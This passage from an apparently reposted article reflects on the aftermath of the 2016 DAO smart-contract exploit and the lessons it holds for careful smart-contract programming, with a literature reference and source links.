to be an intermediary on behalf of the attackers has published a note, making it look like their holding the stolen ether ransom, and tweets on the subject get seemingly posted every second. So to summarise, plenty of open questions, an uncertain future for the DAO, but maybe there is a silver lining that comes from this. Maybe this is only a costly episode on a steep learning curve, similar to other forms of innovation, and maybe this will lead to more care, diligence and scrutiny in future blockchain projects, which in the end might not be so bad after all. Literature: Understanding a Revolutionary and Flawed Grand Experiment in Blockchain: The DAO Attack Journal of Cases on Information Technology Conclusion I’ve learned a lot understanding the DAO exploit, mainly that programming smart contracts is not an easy task and it should be done rigorously. I still have lots of unsolved questions such as: Do we need fallback functions at all? Apparently this was fixed in the new version of Solidity. However, the problem is still present at the EVM level because a hacker can program in opcode and avoid the Solidity’s security GitHub Telegram: https://t.me/cryptodeeptech Video: https://youtu.be/-QDYiKCwOaA Source: https://cryptodeeptech.ru/dao-exploit Криптоанализ
×
×
  • Создать...